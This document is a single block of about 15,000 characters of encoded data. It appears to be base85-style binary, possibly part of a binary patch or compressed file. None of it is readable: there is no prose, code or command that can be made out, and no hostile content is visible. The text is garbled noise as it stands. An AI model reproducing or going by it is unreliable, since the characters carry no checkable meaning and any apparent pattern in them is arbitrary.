z*PzeHOwHTl?(>ePiNd>k9YYQ8Uad#7lC)ah9YixqoX*whG@WKLn?`XViAha&Iq-)4 zrDuS_vduO~8iJ!Fqsg{$$463M`q#>MYN!hdDqAY+8T)Rl!{n>#f+Lu;} zx6bVqEx8<$5)79L$)zPj&$mgIDcC}T3oAU-?(vy|3vL_#OR!|syT7@#q2K04hmwlA z9Y=>??FxigZT=suVTNtjP5GT!g)(@BNms0f-~8OIGt`I{&9o5&MO{iIR+$gx+dI3U z0wuO_iXB8NgVWz7hL?Fxo#hf_;`a2OhBjh3bj(t`wO2<4DT}hp`fKqm)$wG`$tDW} zD&?iDbZ})97{qk}u-_T=kJa+4&YR;|P7QwNot+TtMu$FeK9$vQaO|bH-H^Cpp^soo zEJg?{#5p_%@9Xt}`|kzO6RxL2Scf0Dyrqi`H|wVdv%G;lSzi@fc0UJWMxqb3M@~jw zvwwv!P8Z0VA1edj+Lk7M&_YHkOKHW#Q*5lyhqf0B0k`KHUycB3jmn@B^x1)+iK-zK zB$f4YC|hHtqM%I^T5bkH_dEF-rs{R$pt;umWFHZ`7kBsEjE9Mi=^U`C6Zbt46Ee!B zP$Q<+5uAdq*$5hC&50iO;__B<8ST}gFwVC*sBw4A7jrl#a9Lw$tOIkkSkt%@`%(+ib3*6Hb=GXo5qfFU_x+pB9Z!Y|?F?tD;#ipt^^d(uHuk zX6%>}gT}KCR@MGeM^!gNxKb!HLu1#ku`mlM_8PL1&xsK&1={F|@OF_-Is7Z*IEI{F z-%9A8VGP#ZK)u3~lH*HeO6SB`7CnwD3FvDoj9l|0&GU%aSL*Q{)wl(NigVP%ma|S* za&oL-A@ zwxJ9tUUA!C1|)|z>X&`n#laX|Uj6sd`NNExl5xaiqDVc9=5dhEn(98UESuwjEC^+c z3*s|fx(yAxs}psRxO<&Nc^+kGz@Pc_%x8+v{acL6c)$OuEegG!kKLhD>+X|r%X4q&^lQVD7X z7IB-sU8xgRT@K%c1$A|3{pwpfw#bDKK0Tlgf>_ybwC5z4+J|ZeTfz&;%|+SfC9$?9 zS%oFpmZf4+R2a~W=`Yr98hS!T-gA~v!{YDx1x7@lPTh!}|3=J47Kkd9nqXUWLhaPh z(U_vBa@yf+uyq%5U`thxM4Mxknkw0TX~^m-J5kcWU`BPM(^gJm&xyo;@&Uw7!ktBs zJ8_h+w4ILT0S9+q?IW)z#axAD{CzN!91o#b;+rNt9iL zuSGT7_C8#)eu?IVL+_&Ig!t5{ai zBUnbf93g~uyjE8ikk@Bb#!We>hVI>ssuJ<~VjfAF5NP{jK~#NMtF6lMOezx7+EXxUfNS#z!*UAX}kc5MqVado4!~K%2QnGBlQWe~LCm)#x$|Jix2B9RKx^(L6 znc60mCUAML`@h4xk)z0a!vH5jnvc=M=7U;bcQ6@Y>KVhj^yHrg7#LFktnj;yL5z_}gO^XP#-rX}yNeU0pQjSnQs7RqV_ z5#I|yRU;yko>ks6H6GG{+ezklmi*dV9+O<-?vHbaMhS_<)_<`Gd~Nx~X2FOI1a) z1}!}2F|7rT_f48Mm>IWr56ROS-&$4V>EOHS*KiSEI3bk!08Z@QOdj$4w(QXPhX>&w zafzHGI0^g6ANc(Tc00-h;9Ac*_u$VnJ0*-ZqM@}?m6MhF9#PQD*J5>FCzIRah}Wp% zA*0f5LLpG)vbh2fvc3$JJ)+V8mRu<$DZQ8A9;XqH5C(D)MJfyIQaZQ*QCQ-!c({cN z%RKBZuUiuK3Fi5mXM#L)9ev1VG!t?2Qj4ob!4k8bQ92BJJ4!MLnyFtWOcT_#Cv_$Y zCEfXo@A2%<>*ecfUF>rdUgpu88Qk!pl}TYO8_7o-&|Y6`P>mEo0&L?#+e6k;-ZH;F zAYM11C4VzDIIuUOt1V8S6-nh}mDL#=z*oQBL*JcLIlN+!4|Dc1pwJ@W=H^^RRS{0u z;>SZtEoUzhc~iT@hQ4{MEjBN5{|@|4_YNw&BKXq`vmqQ`#XXuketRgX@&LlDPciNY zI34wuGa)mAjEWWfwl9qPcf9U@$jYfgTgqFOmm?;p0+e+wf7wa_{;>S=ruYfngk>6V z9GLrU1sA(Ds^abB=xT*eiO2jgd5@dWgGFV|dcV;bdl)LfiBVdV=rwcF)?k6TicXPP z-aB8O_QmBFfMdY;f04Ay1~zLif*NDFz4zQW0N4$RQoJkR#Y=)%HFoL9ipNG|G zRKk;~dSz*+*(d)o5ud-KLsUB%25eTFYA?vkjTojzZdE_rp_{G3lQ-^M%~**fv!hI< zM#J8g&mER_qN?+SC|p$xqK8{;>Xe3n7-Pr59+x?LZYZfnacEN7^@Z%-FRvGhV6~*I zNv&B9Ts;ClGcM~WXYSFJ;gjUJusFf>WOeEnq~Sep3rp7YuoAPHwJC7wL^3ksCbZ+0 z5U>v?)wO8*1zfHUCJ1)WX5SlW``!Ys;;()1p)UD%>2*c#0N|P0DP;|f+rp!FviGBE zE4US#E^EwkU@#zq*o~YoSt&8`wvc<3t2a}sR_)lG*X2BRf-h-x3}?F|N#66(*6_{t z5T)bD_jyt>cxRLs<@JK#%{GjI*O$jmu?3FwrgOKl^qvE0(0+ndb2$g=YukB;O-531p*!3HsyN)z(szmktonG)H2 zXE9V!6V3Q)kF&~2%>ujAMDg`Xn;)nNSg&Pi5?{X3i!etl?d<>`?vsrS*R>~=Tet@0 z1{6F8xy$RK@U&WwL)_K&a2PVTW-vp!e zDFX&vDEd5=fKqePc8bhUcNaovzac||63uVz*9C6M`&H~EK6PIieimqe9IH#R#5BwN zWSz05pv20>bWuZfUyyxNvr1YLEiyM@qcA-tanR{_}o(Olgg=h7Z z8P>&*%f2x=7oOXjZpx6q;5GSCv%#i>u9D4P$d@o}3nLZ`w!b=CxS=Z}nW3o}bBqzo>2|pWkj_Y+$HPdxDIlg<8zmjhu^nU}4)SWyv~pH-6Cj&|E3; zDiFZc;g%Au&5ab^FCYzC_LEO+#hkCH^MdSybln_xRN%@alY`feCuH6gqHB99r+RY% zA{d*k(B!Tr|F=A3HZ;L^;lvEVlP88*(24=$V%sR)$AfB1gAF?ve9sCrDpdN|b1r9T>fF7FHhyLV-NLpJFUOO9z8r<1$>3f*Xo4f&y zNYgTi$|r*hwUQ!D3+2Y5{Lb8ZUCKnedsq_;L+*kUN?#&YxPC$2v~rZA@CTRaL5fW} z7b@@Bt_`UyU|!QD8fbhb-VOAPvFU4xxzQaL0-q+*$xSvB*<5GZ(6DsOYR-}Dm8!qR zS+mAmL|)C+=+=#S=X2oScea8VTw1Y1nZ_ZcG>wlKBo6tfLg}o4t~ZVg6I7+3o`q@= z>_;2Pt`5Q0l)^8h9q=mHc*T(m!<$7l!F_~ueQM5A)!4=#*Y@L24Zit!jAV@2_Cjp@ z+AWB9B)c2eULbG1#+$dK-N)|#f;gG3y<-WBXipwjyddk+_NjNM^1(NW?d4SQm8J8X z6fBF&=|z-jk3=PWl)?M3)a!~Zr9IkA`OY0HuAo)7l@3lr7S_p1;`|Nt!dJ>{VNea3 z5VPLvJ&}J-Pr1;LmDp;WtLF-rNPrNb)d&SM0->iSl_y%y*jAoGEj&vb(ZzXXC_9x; zLYMVk!|5Kwc!_nDxzRd%+TCfpOIQ;uV+$hn2vb!JJRe6hOo7^}N`CyjSTrbc);)|I zpy^~Yj?fNl+~F5_5hI(89LK-lQ|ukHnF|TQat1;~tAf1!qT8*0tg zgLlr!E7bKzr-$_#Fk|W#pnaL&%EZx0Rt4bf2f_M+q0rKV3}U6D+~M@rLLqR~;jxxXp%Bj` ziwf%#xImX?p~~c7wiWh04g+M)dRH4`Z_<&>>2_s6l)WD@-Yk>#m@B^toRRI4N$ZVi zPZo~&syO$%wJ&PSAClYs3uc70%`j~(PV`AP_)LCXXgPR+926=?R{}g=1^55TlLB@U zjg2VwH>m>X{q1DlUWaoI386G~F^Yv=WSUR5|6B+$u$l`Rl}y53m1uqVwxW6`P9*5R zfS(>;9&VVl8DkSk#n3a5R{v?ySQ+UZDMk+7&FQU--@i5XXU}w!fX543=2Tp9{ckv_ zAL)tt&VSiN+p`&zGh^>TY}3G*tv#DUF0#Pq$A&S=K_8Z~gu@*GqZ;s_3b`4+GK0VY z{M#agXbx?l#J{YDxy_}E%-1%H!nW+TOUqMITd~PVV7H4#?aWMyLglk3|hXw9H?82NaQP(Ew`SDwd9^B_6`}73AoOD9ue837!U2? z`A1L{fE?nR{G(wqm>c5bMn_o)XJec%4l0QAgCMmfU{%$mqX!Be1tM-NIecFqnehC! zI{J$7noI8g8C~^aZ*&bXV>)?9+??Mc&etZ_c&w40^WJbbY}#bdY{g!&tZw~+7I z#-14-7~Z&D(f8hIj^|_qpboTK7Uo?~o>2Ju1A~}oTh6su&4B}lu8R%5_96Y}#8xQT zbx`_jR$(NZ)kLIs6Cu`r{)O==WHwu*z#5>?Cot1Jl+lGNJj9fNjdwScul};lZ9{TR@l}3*Fi5Iy;59vA=oi+c zpU3vuC1vDR5;knk2jg#CV+{xnp3G;PS4cDM0aF7a&3I`1QY8@1i=bNz-YD!w_L;*(4X@sgTOE$X*`+%0{>vhC}4SYKM+PsZXTK5 zKlOT{D=f6*;Z^q+d}B8=O)L!UlV)Q$B9|y{@X(G^cA_iJo(`N)B_gWy8;#D_q!JE? z^2)Pgxc%*5;gw?3kh_L;L8-6WJDKSf{n_I4(HwI2g$y?DdPeUW@l;zt&Xq2T6AIUc zr5W35bpd8BfuwwF59JH{IwDw{7uEjeiQy&(-p4nI5F&3n~n@XX6rQrM`<+u^!9{G{nY7PM7!zz)PSP}=*{hwpk`bCK<$6S{`o^ABo z5N`kgq#x{x*yNRy;tmHqRll6N6|N`f9&e2dca?vw0S*^|`D5*aa}KNyjnLIx zy!B#KpQ>l67ljNKa&@Z`YY1r7^15P$JXsgmOo1ow5KdQCqRE{hyY(t24X&y;2DHyw z+%FC{gT2np6r@do`(n?d&HzyFyQd&XYd_jfD9Yz~xz~E1{_Tp)w-(aUrv2|*#Luf- zWe{MoN=4>00~eZFE3ja5o&vU7D}fm>VOSUuE+@De=Vv&QGzCk7)bodOq@M|is>&g) z72_WrJAzFVzW_#XItZLNC%@%=<6shso#g=})ss$8l&1lyU|dm6iwN zqwTAe)k+k%9~yC0-zsj+e{6KtAxU{TsPwO7(mNQ<%(h}h3ZySBwB}}S!J|Cd&?V!? zeMN1sUD$v@H{lSwoFoZL1GfD-hfq~cWJBB7)oXHH%lvZd^(>&>LHJZV)-Dd4=ng2B zuO~2W^8J6i$>B@r^n7!Cp|YkenZ%r&sPhzFqFYLF_EOff$V$4Cj92RWCjSOH!1)03 z_Ev*i;5?_jb-) zJ!Kngu^ZzsHDkJAn0i^2xK)NdR z`|%2o#=@e9j!eaFu=}FcK92JhwP|C7 zmo~FU2p`s7=0V0753ozS|0}z?WeA*Mq!$=OtN$}g>L2Ume-%mubmkzj5d#A$TY0nB zo79+1{+)sh&2`=7^HM>1?_&oU4}%bk${SpZ4!uXDA@Rii0Qx zpWdli+_crA>=W4gotd1W@XMAlpurS-&hSfCqP&9e{e3H^=vP@Yzfa98z0$M20s3C; z1KLKued(!`!qdj>IEnDHcr9vHR>8Xww}fvi1uuwrZE76Hx&3OZLf3O$}m zF+VR{rHf3}CQV`6J?8bw0=cAZkH55?T&k)%zASrsWx=bxA03<+Cl#F-FCLU=op|8Q z=iUG$8$=TCCCDK4%W2&%c2Xl69%Z$(F}Esj+8rg{ioe05>!I{Y6;!nmd?qDNTj`b{ zQ^Ku=_IxH+nX-~Pid>GFi9r@)lQb%!NmG3d}ugrkRG!ZnZBA>U0m-G;r6tI`YP z5n^4hsCp?;AI-V@}K>#ahj<$lzVsy)}0 ze=gNgymoxvtzb1qlg9MM<#gEOEibX-pelH?33Gge?1^Bq>44pTZ-n z=1@f!;b*D#@!}$11#oUYX3Xx}gAQC>!alUS#~GK>jYEj>Qz*Gy#&8$A>`q&y%PGX6 zS9tdReLbjha!uJqWi#26+pFk(=Ql734jrc)s&_WNK=MG8yw%lD&t_gEU8c$<=;^F^ zoY6CYBZQU z==*!Jqxo3v(R0090)wiOILz&nSm%ye4~FQB5YzmS@Jp*(Yo_Twt2ZoaX7gCi8AuW4 z{iSyx1#sx#(duAoZ0uHu_@EU|cl_LZ`aI&UW# zu>i^0uuJ_ooHWg;rL?l!md&SiYUK$lVEj;-E`+Nd>sop`w1L~nGSwHLw*kaDOavhUC~;x@!^BKv)|UIICM6m{cc_+`LV16Wi%>sYL{PW# z2w&*Bh1F?1HI*yVL&JBH#iliMp7|*k5%WJaSxi$kalB(H~GzwyQ zMG;x}&F(CPBhZuwUCj`|lk`NNHc{?-^Gr&?35N^d&R|>j(N@=Xn#$3H1%c!jvUP$s zbMXk(`~7)--R`H()G*EmXc_~YZYNWId`M!lvyurHqoV^aey{sYi9UjBbnJ(L%tSGqkpyF<`WZ!WJWk)swm*el<6cP1kcMwH=_lgcF}yXk@Q%^MURW2F*L z2Q;ef*%A+1vP z1_|8jVD_{@1)Vk~Bf0&(m%&xzjjdA1c&?;z_`u%7$d#drDhPY8tR{3d`qswovqFWN zgeEhK?j8R+hK&F-U|jO@cmD?+0o)LBmqcrIw_EmpkH%*yF^zC?hC6d!+J_qv>L)LU z*&A^o-M)0C6v$J!9vXy_PGS;>`UCz$+_pXo-=WK4d?gq1jEtr^Tq^v{uMCzHhZwTG zT}s9I<`M~RK06autZgjvjN+y%^*5Uhp0xOVFz(iz6V=_*I61Rlv_sF{`^<|HIC)E{ zM6M%bKSkNgG;JURde}0BSEW)2oxV=^gqdPIW;63Fg3c$#m@nQ$A&s6GdSnl6l@0T7 zyHb_^QnKp3I=od7WU@ET^&Ll{h^Al;>#FpOo$W7-dn?m;bw*-FTpfOMMJLVNGf8qf zb{RRcf9+;$<>uXVr?No|fo+@#RAsw+F78f-`TFzi-f%@7p)ItCgD9U{=8yfKy2Byi zkxO;$1aEUrxxzHb0XKrAtW9E{s$j{d^PU}?5qSe6fgbJRbC-2lk#Tj60V!Eu*fpcX zLlYXB&>fg{cf^h%ho14tAky0XW%7G>^`B@ye9j0`@PTfs=slymxQ&evhoFEfDdUD; z$xq6_{Z0`sAt=&KG0$%hN#~|>@iJYb)md!XHM`q@qMV$!o|o#Ml~baV4s%RaVM8cG zqn(ZJ6^1|lao!z_Jub_U2mBaKQUq{wlaj*Es~@;!?l1Eo46BVh;Y}sN>hcy#;^c7l zr4JG9uEz7Z_?}gAy1TcPRiAa=In9bVO(7%`DJWAjaboWI59ZWK;frOr)Lsw4;~??gjYGOl}3mUit;A}`bvas zOxI=YcgGk+CrP3w!`J#h4I`@hAR*J<&-!mPQi>%v_>bG(nU`E~lru?ZDAG|Qtj>J( zxf2-~zJ~^9lu?{U&sQqFvNtc0E1&EQ+Q&_#YI?NIYlU|`FMy2Uq>L5*Y@^pL)6Z%ChX&ur$^SI2sy zXT6t~H8Zrzk7%`tvN&|z+3en?`Ls!ba=vt?CS@uydZmsc?7b#H)vnoBZrf@)zu<(_ zcx-AqDC!Y{=^E>Gixf_{9JS%khets$Z6EBvmxxqM5)le4pyqwg#UopHecZ$M-youM zy_U=UWtV!myDn&>MMaG@L4#7%*ES~ldtwaZlHX`)&vxV8DmcIMHiK16Qk{cT6(Y&A zJdtBFe6Lo(Vg(dwA-?cR zl`?|-v~30@aOucB!czf!DfhX62nXXwOPz_Aw^ko1X&{Gk4rO z@Y|$3qYyNP%E?bThlQlEWDp*I9XD=^2SR#C;nQZzy&=FH9&>aI6ajQy>fa3GW}OEh zy<~b~$Q0GaqWfmQOD+Vbn=G7GkQB>7*2`P6bj`|r4f7loJbs|v{o44O{2Y^>4f84| z>^(k#@t5KmRpIhpbNq(Y)Nw{fARxK;ww0=9vcvly$E+;v`EdNV6?(Iga>Sln$*5%h zqaMV!cYicP8GOetvWBaOyWTF6&RfvSQ|jo`HT^=-%kBP}q~{i)U*#H^)xG$z8&B5f zMuw%DU;+OhB$vgn`7Ew)EOJi>RJ%d2<;#)&P<38>B0J6E4knvtP$MEuMKB~pueb_2 zv+x)dteoJ_M;wxpxZ(v`5aiS-pL#CD#4TFLE!xEHM=#h6|8dPeh>yr*;Y|=+#yLRL zB?(K9XJ1-^nM7^o92={t36azxf=;{twC*%*6E#-osDL4_NpC*mR&q12t|2ZYb?*T!oTHbdMTDN$e3}q6X&0X1vY9WQmm@ zy3^fsno?W$@KjFwg(db%*4^zQx^C>eO-vT>Ho+$iAlg1@;t_HLrXgs`K zYN@M>Ei&v9slwt=!w;y^V_NIn)WHQIfrDELHcqOUoU2jgvs*th+A=%+EPX> zCGR=qDF@h3FY0oIQzPMJW-wK?i=)X?4ob{iEM}q;uE*O$&g6*;C5sh=?9b&4ugs81 zbLcJT@~P_Jd?*t|ELb5lL+^HRB{nSHECUt4fBIwTztjhdCr|IkpSDU&D0|xD`cLC~ z(YwmdjYr+<3A2e?O^9`KZFGC47(r`uQDT15$sh@IR4brW-;kd0Ubvu-o5+L<$3HtN zy*oU`Vd-ay;Q_~hq6W9~MfvhB>qf@O)O-mcq@`R_pHx0n3j0Gbs*Kxnvqg4KaKBa8 zDNBzJ9_S??qTX!Y^hTrU0S6OhJ3uNd=ecqu28P+_@jPucA#8f%6b-Wd@7}?LrwoSR zFx0P@BO`H7)h>=2UD7$Ry((e6+95R915ycUom@{BHFR4QP-8Yd(U*0+jwmxpS>L#mp*%TI7b;-iEW*p8n3Cjfe1q*6pZEt7p?j{>0y(0iCCOHPu68rqR?72P7n1u~d zFHDWg2WTsb0F)=zl34N7vNdL2EX1-oQ57J~h;*5@I3Ct^zgktB0zEg}o9O$V0{DE! z{@JY5#&scK&Jjmv@Eq)C{L_UHA-PHA!-{#b{(yOe&7JK3wA|$9G-tyDTQ1WRK#iQr;&>U#_JMik%k%=D9HL4dmxMVzHgX6C$Dg`Gc z*I+d|zNGMVVX&H2Dj5*Z=dG1%hpWhQp4n9q@H$t5XYdcU3THsh2=sB!dSZ+k>?nUD@7!ty;#g_C zO_WwSZ`;Iv6r2q{x2yIC@mp^oGR{NzAKw}cBk>Tt0>eo2Ca#LgsKK&ABk$z8?Z~%DZi(k|6p%sNY&Ow0hk_h7TuH0phE!s9>rJ zt?t5nrtLY*5|1D7Q+M46Rlx$p;J8;S<&J~Th{E#DozJ%h2?{L_$C$S}t3a4ezyu3S zBVcUF4;J-*DXy|q)N9yc!LsNs744eC=08>a>e3 zqtM{S(bSFx9W-R9@;QY^ddq*8BB%hqw8DJ}T1qPUh9`Qp^Cb-K!NXd^F4}L_pN&++ z)_FUXZA3%Y7mvP0ijv&xTu0Vr3wr2fyCLVB)~?Mww2;{_3*VZ+(aUR1l!Af2-foo^ zbrzei@u04sH~}Kl6Yb^Cm7ui1g87G%!U^KV=RIOSrrMI==LF;aio>DB))Nj5|OE7~7v9YvEawPU`agVQs%mdUz&LrKQj)%X#ydFJU9-iZiODjb%Le zAw-u-ng5s;&ezdQUU1!TRGCL=|8$91$^#U~Mh8sPc3d9t`)Gc@5gnm5q|xYhK006i zc`2nSQ+nimC7d>XgJMC6)1Baz-Wz2n<#WNO`eKy)eSkyP{T@_pOz*l2P9@_&{@?nT zJvfVBvYwdDDte-H8b4GWQ#e^WroZ1k93$Q$IHVm5wFs}O-hu1!M&edb)-sWn@;nWt z*_Wl5>0frB5?&LJY^%L!uSRX|9$2+?FwSpz@JK7_LZb9Za~-ab`D49YR?|(nEO-f! zx818s2>6CnW|!A!6h6CgvC7W4m~HFA)1LN1E$E!F@}22iF7sVGYvMV0XlS7DHHAx7 zZSP^86uGJ)&hQ)PUWb8+hCDu$RC|RtuUyMwWo!7Di+^`@tHqM_bos+gd0z;2Heh)f zHRy8+IrpMLFsoCmPP@hXrMD;9ETl>rRqZ4D{@2<9Ifv4qRcl-d!a(0S*(y%- z3u%3R_E1+RCeSpV6SlOmacijh(3NxUx&4`>tmP32qmv~`cQ5xKEKo-Z6*PNF5FvOg z8ogfZ&>kJGZsjWsv_#$N zJ-wRqO*6@(Qvh!#2@7gr*_l@1{F3jBb5={-^L|T@9hFZ+__r33x5{G*~&zz{~+d*{?f;Nt7B~4mTeGO|~OI zA()gin@-c4Zcvu?4z$QSFd3U*Qe|u3R|#hW`raWIRb@Fi(I+c*&-f;wZ!Y%BQ_wo! zKOeo8gUinK5NWCZgd&w3!=J>yW3%Z!_ILIB?_H*KCSyTMyzXq`@1D}0-PK_zx%>P9 z6P`7~7SFeXec2=M``#9C$;bWf5nWvG3Q7ce6jpP1(LxCv1Nq{szU*1UME*&mf2dlO zM7tgB;Y&{w+4`j=vVGw@_M^@qQw}j=WuWB-^JNON?wA-TPZ`{O4nn4 zl1KlFGW^lNixDJsqlzxQAb`#`fBsj*`(LIU-S4~&CaqO=& z0bG6(MGYr)Ifx5=7hi+Fxsb%EG-_-C0Fjfcd%pEa3e=s&B)ltlE7(@r%GJR8FI9C? zgz(9+f_e_~z!Y-&lvmYi`H8ruGEP(;6rXeEu0cLjvK9XG zv=RDberIt-5}GtXB)6*@m5{a{UZwtY86iG^aa)xhHaE&JLy?dXs#&@PJy&au^Sw^F z7#)~9;izXY@;-Q@ERm0{zT3p|tpcgfh4c4%-M@*xG5!?R)JLh9aYFUz(O`o3FQkhC zf;i#C*%_mIUDHQ}XpDupfJK2AHchIhRkq}|Om6{E=J$-A!FpL;gz(zp&$m9W zl9$ArUBzk;)n8hKH8<`qo}Dah99w0Ejz>~Htx&tcz^vc>qYJ~;Os<`VxY`6d&bM40QW zG+?IRx+fN+NUaHjUE|#fk5{j8$!#3qlG*;|%dfmswa+2~#N91mw9fN|UDSY8!CprK z>(?fue9vt4FD-_aZ$&}1lOwm2Ox~vSkv}htfSbk)mQ_T9KFEI=fJSwIwK!VG*4xf& z7(H|$`E1jug;1kb#j03>MZiMChR)1MybU&g^0)ECr-_@O()R{`|Cqvec_ErA`IK{PZaUbG6CbEvqvQ7x?jh?LT!IL1VN^!Hf||gy7b>3 zq>Z=8fCiFVub7>Iw_;S9rQdm%C>GB)mlc4tk<&`=gf|`Ar26Xc=Fbb>Fx3Dds7tz*z znZ=8fSXm(v?p}U=;;|_?c+0TKKulg1H9p~BkGthf9K}DvMEP_Tyy)}yp8MIziEUv5 z@_bPHx0wPCFOpE&!lD(`{_K~MXRerk4D+27H^rGMCw$om#<5IKTU4Z=aH2WbDw?aO znXFj9E7!+pk2L4qPai)T+=M8Vy(sOypOxm~idVMPF`0BhJ#7Q6{z+pLkc}q1K&S zX&u1OR8c*yHP>dWN;)AP_AAu;c&;UDKfY2`X*#?Z z8Nw?mGFIL?1hnM0a61!)G7?i^wjH->*8_{h9}e$m+QB(k2|&$h=@bbs4BjM99-X89 zZTpK)pe{S==m zYZ38hU1z1Agr`eKaNL$U5DpLgU1!S!J47gRt+)c3u-RsqW(*WiWLDiL`MQtampEf&>qv7>gz-Sfbqpsro`{EB}a z2h&1(=T-O9edaR#qPO*w3pehEUMbUvCb=uT8q0y+aS11nT6l!Ia)AtP_=+KI>04pDu$lH;!eK4YZV61h4lgg~+hAxyaqvj^_^bZ50Z!}~oEhdr6k zXmc3<$2C!@mtcSew%Uko9bLwa9vMLbiMy@-vwyqi!EZ@Qn(bvN`JgNMUt)3{Z5If7 zsD5=ZvhI4I0Os}Y|KqJGrzsia3p&tsY5tzaPF%h)Xq!qXU9{Zl%qoKaQgTOxsrrrF z0x86JsPDEn6@ND9z=ounVRaC5R@3j@XXq&qFE)~J`>XBiDO3w;0JP%Tly(&zmVeOZ zX>7e%WSsHxK+uqUy#(_gmly;clC@FZwRxD-ubMvT{XK7CIoKfWbdTbScM-mO$p>CO zj2k6^;BYAX{GY>h8ego)YwoGx$>+T~pjG5WZpwy}>d_H)#R6kSy><&PWG)dm(sx`f zuBY6sVw9l%j&7WFz?l+O4tP`WdYvsRvYhC=Gq{PCDP5qvc+0srb6|0`vVcVB+>O62 z29T6uIplZHS6CpyZQ)Q+UXCQpNC%aN?zTl+L>hH3QF3T#qs-48hj4dp|MR&fto-#! zAKFFGKv`*a($EMctd~1Z$0wUI5lRN{AN9QkLOkn#TR>2txHr~H#==vBCPJk~mUNU6 z%ENjP3U*7AhAt=*>!X4_!n)3wgioKrUaLmu&pYG;=P&4D1!>wmt+ZqEI^Wn~|0 zI4MRHo?*nNmV!~3GkeVB-J#ZfF`6nNr}jpU{5>hBXx>nF2kfkw4kCz-LA zU?`{Nd?L7EiHgoqZr?}SMAOA22b4ESERb}hv6ozn;U`)0q@g!hTL5c;c)F1V2os+GYx7EIQ?<;QYZ`2g@80~|9A285v8eM-8zjLkZCi)$tJ?+-P z1TWdmI5B_Q>VN!v@eE#OWjPBC%3PCM68;2^E+futwvRm_I*aDHbgbL5; z`i0I9YOB<=yvGdK@}HaSzuF4_{2Zf6y~&dwKle+!?}}hzAW{IHfWb+MAv4k(r!qg@ z8*;mW1~B60|F5v?4r?-N_LfyvQLHPSC@M%11S!%jSU?3tqzOcUP=pZa(h>zkk=_NQ zi1fOI-bIuuB~n5N5Rpy@JpmE|_XK3u{r0=}^6&=_&w1Z--Z^DverM)4sjzy;?024H z0)P>I`!J6!cGBB(G<@&Rn_0o#tUyqo{yvDRFjjS_38uZ<4b&{*@2_6lEqRVtEJ#Ii zxwChKe0W;)xF^*NMXA>6(shW&IltIn*~e3Sg#H^Wm^8ILMPM;UNzW$IUj=&Y{InS= zA{zx?p1ROtZ*t5^LI>e*BWfw&O&c}IB^-Y3+*Jd?v6k#33b@#uF+6U?daIP{VG`s6 z7d!RmO5sQ06t%@^<@yK-J_Zko?F)-oW6n9HW}n?3OVjP+cVKDe_NjhSZ_^ zD8B1^T@^QV&SrGeXW@L~FS=g{X$aCB#`9}v3&0zO_7`EVzLw?>CwWT{DYdDrxt!b$ zr|`bW&tk!u+lvx}WIb3N(bk{xEifWS?jn_xLNb2H{Fjr&|wD-v&!X(%md3 zM*u?eN{7ICKg~vzD&(a2<+*ii{+sOMj{x5oPj!y>Y8Pt~pNdPN#3 zJ!%K1ctwz&Y_EAROJvRx7xAekGv6f}sET^QyBWE6nu;OuM#Xr7k#rE>9bjk~(FZ+5 z-9o3EW}RwsaI7s(x;o*wsmXP@sJkiq3ZU9SceN@KmCh~@LmMP%B7gi0aq&v0p-qIk zb7|RCXGZ$-AcKL%OS980T(73F;`Pc(nq488AjErHM>-l+7)7=ooy67KJt;HChxO&q zUwJOLbj>IPPTj=kS5u`s4&3XR**EWBbWfq`JZ%ntCxsP6L~wfC0=C#Xu*Hy7Me$4R zgWr`R=_&rA%s&l)SMxe=hEbL22-0i6BB->$Crnz%TQUqf@1(lm7`^5lQYaSV81k3= zH_f!j?r*(#_QnkC%}Be4bc$X`_9FabdA3K7mi{;PJn0X0oOu%_2uO>g0cADlB23N< zK@iaw$7QoFouUcZF=k?%`@~~i5##MyWt{8`6YchU1{{$F;0Q55acNgkfn^96fLIhCn`W!Ek*wr#=YUKiIibfn zBiZmKI1~Qzwt0cYF^APLq-SB zDJRtKFVj;W&U?eZrw<_=al%>n5REh4I_;mY)bg_SVibsEPu||a>cE|^XreNq7%=p| z{hNv$lMhrZU+_uJ1=+rz5_3Hae)0l4c?^z!zAdCC2tLQH&!yZTqtjII~hU>%zJ^4T0P0lKQc9ch`lde0ek4WQc_bX5@Vvoqk3kiBC zD-H^eZVHT{?w(t-9&GtDoFrix=|Q=FzbAsEYpNvRktu#^(zm=(;}?@?7n<~Y9tROG z`{|*?x8!Ju--DUAY-vTzKjh=H)bnmQF#FzUmKHz0ts;OiG#;o4jW zCMV`~CVKa29H>@f;3xCsFl^^`#ua;LJ8`lTKwZFlRx?Yt1L8mnYY}BTb*xYD9 ze>9m@B_6^h46nTbvE1oAxWL(s5y{&Y=i}a+qxN6PmHb7X6_2e}E-{1Le0lb`+kncj zlc6aj@)BDIkveh8RYuTobB7i3S0}h?t`~YxME~0~qQw;np_r&>#eOe!O_)*Yfj0Mc z-eQ2{56eQ0xML3!m5ryD*Q5XgsTy{Cln#ujYD77ZV01zuSnX)c@DW;*5 zq0zV!Zgi8W>O?sq2BHlYh+4>0Ug~ODGR(^jf2>D|%VPbaoebN^HNjD6v^C^f116ts zxl}i~Oq7mTD3v;;Lw_x0#@@K);BO9KQxBTgMqyS+Z2rgfVh<2qj~xhs?PF=#(uDdY zv0_#>9U`Gm3sC22W(ol{g7L>KY6i6Q`}5sDqT`&nh0fyToXFq6b@|c^0tI~t$otZ2 z&hP0RRO6*REy9Sy>x+2fr9=j`L#NM%+hPW@IXM&V?QLeGi4hq83_Ikjp~E#U)})7|DBN;Yo2Y>5(MPx?yh0HvF;~cY`XY zSB^Z~;9gl7xBr!WMeGH+ET1bF#W-;syhUee{X3e2IAs6a#J;bd(6A zIaU@V>UrM;VvJ)fU{0}dB@Pfet5A4JO)lmlxm zVtpzVzG$;d|6I$eKx_Bp-=kX{yA^!Ug&Pjsyv3STc=^A&Ja}7fpbhh1MC6w%ecp=mBY~Ws1CC9 z`g0q0H@N}(+4jlz`+_=-)jUbf=rl^yD`3S`zPxRT@oSm@4!mR={0B@)ib4q1tcWZ z7i_51{%92%z#0Od#PH9z6z)sPKd)xn3uZ4%;nv5h3L+ABT;TdXZZCsAuXOr;^>>L) zyY=&(L3HcWxZDAHA$;5@FUY2^9DeBON9-$LN#q$PwSt9`mL`AAt=w&bEIpVC3gleL zt90@SJ}7uo8;6|sRVj39 z=W!iwEty=(%EN>V^IH;XPj^*pXtx4_dMAr#T0o$@N<2csoTH4_<(XTUaqIX)C~l{6bUo1 z*K=pIyM470DgBzaYpX!zO6I^a|BV1&0f^4+YJ+^ITN#eiW1{=fkbHupTJ77I{gLAA z#Qds8x>;PI_-x3cduOigALb`f{U`sLDTZW0Ke$s!_r>$7#Wl{jKO~o!LZvLVXvs@4 zp_xQ`y)NyXDIc>K%@g3-oex{Pe!2RgJg&P0{h1aqj}myAcZRb@;?F`?M_N}e*LX6I 